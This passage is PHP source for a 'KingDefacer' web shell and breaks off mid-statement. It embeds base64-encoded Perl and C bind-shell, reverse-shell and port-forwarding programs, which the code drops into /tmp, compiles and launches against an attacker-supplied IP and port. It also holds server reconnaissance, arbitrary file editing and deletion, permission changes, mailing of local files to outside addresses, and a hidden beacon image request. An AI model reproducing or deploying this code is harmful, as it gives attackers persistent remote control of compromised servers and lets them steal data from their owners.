+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/KingDefacer/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/KingDefacer/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'KingDefacer '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from KingDefacer'; } + if(empty($_POST['from'])) { $_POST['from'] = 'x.neo@hotmail.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if 